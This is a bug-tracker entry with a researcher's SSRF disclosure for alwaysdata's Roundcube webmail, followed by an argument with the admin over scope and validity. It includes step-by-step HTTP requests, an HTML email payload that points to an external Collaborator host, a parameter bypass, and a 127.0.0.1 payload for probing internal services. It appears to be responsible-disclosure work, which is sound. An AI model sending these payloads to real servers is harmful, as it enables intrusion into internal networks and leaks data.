Security vulnerabilities

  • Status Assigned
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by tmeletlidis - 16.03.2026

FS#307 - Security Issue Report - SSRF in webmail.alwaysdata.com

Dear alwaysdata security team,

While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.

When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.

This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact

An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability

i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:

WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362

This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email

POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9

_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E

Decoded email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>

Step 2: Preview Email with _safe=1

GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html

The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss

The preview response contains links like:

<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">

When this modcss URL is fetched, the server makes the SSRF request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css

This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)

To target internal services, use this email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>

Steps to Reproduce

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious <link> tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185

Results
1. Collaborator Received HTTP Request from the Server

When i triggered the SSRF, my Collaborator received this request:

Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com

If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration

When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy

#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]

3. Internal Network is Reachable

When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy

Invalid response returned by server

Admin
cbay commented on 16.03.2026 09:27

Hello,

The server running our Roundcube instance (i.e. doing the requests) has no access to any internal service that should not be exposed.

Kind regards,
Cyril

Hello,

That is understandable, however SSRF can still pose a threat, and marked as in-scope for your bug bounty program.

Admin
cbay commented on 16.03.2026 09:56

SSRF is indeed an issue if you manage to send requests from an endpoint that is not supposed to. Webmails, however, are designed to send requests to render external files from emails.

Webmails usually render resources in browser, and if they do it in the back-end hostnames and uri's are should be properly sanitized with requests blocked as standard practice. Please take the time to reproduce the finding and confirm the impact for yourself. The domain webmail.alwaysdata.com is clearly in-scope as well as SSRF vectors are explicitly in-scope, there is no rule disqualifying SSRF under specific conditions.

Admin
cbay commented on 16.03.2026 10:30

According to Wikipedia:

The vulnerability arises when server functionality can be manipulated to access or modify resources that are otherwise inaccessible.

You have not demonstrated that you gained access to resources that are otherwise inaccessible.

On your rules for SSRF you explicitly state to not target internal resources https://help.alwaysdata.com/en/technical-specifications/bug-bounty/

"SSRF: Do not go playing around on any internal networks. Report as soon as you believe that you have a potential SSRF issue and we will look into it for you."

I have demonstrated successful SSRF by triggering a request from your server 185.31.40.185, public record confirms that ip falls within an ipv4 block owned by alwaysdata.

Admin
cbay commented on 16.03.2026 10:40

OK, so I give you the authorization to go play around and try to find if you can get access to inaccessible resources.

SSRF is not a matter of discovering the resources. I confirmed the SSRF by making the server send out a request to my server confirmed by the IP:185.31.40.185 and User-Agent: GuzzleHttp/7. The response "Invalid response returned by server" indicates that the server sent out the request internally. This is enough proof to validate an SSRF, anything beyond that steps into read-teaming / post exploitation territory. Please carefully read my report and take the time to reproduce the finding.

Admin
cbay commented on 16.03.2026 11:27

I respectfully disagree.

Anyway, as you seems eager to play by the rules, your report is invalid as it doesn't qualify:

Reports on third-party applications that we provide to our customers but are not directly part of our system (phpMyAdmin, Webmail Roundcube, etc.), unless the vulnerability that exposes user data and/or metadata is fixed for more than a month in the upstream version and we are not up to date.

OK, in that case allow me some time to try to produce exfiltration proof, as for the "eager to play by the rules" comment, i believe this would be the right thing to do, rules are there for a reason after all, would you have preferred it if i didn't report the issue at all?

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing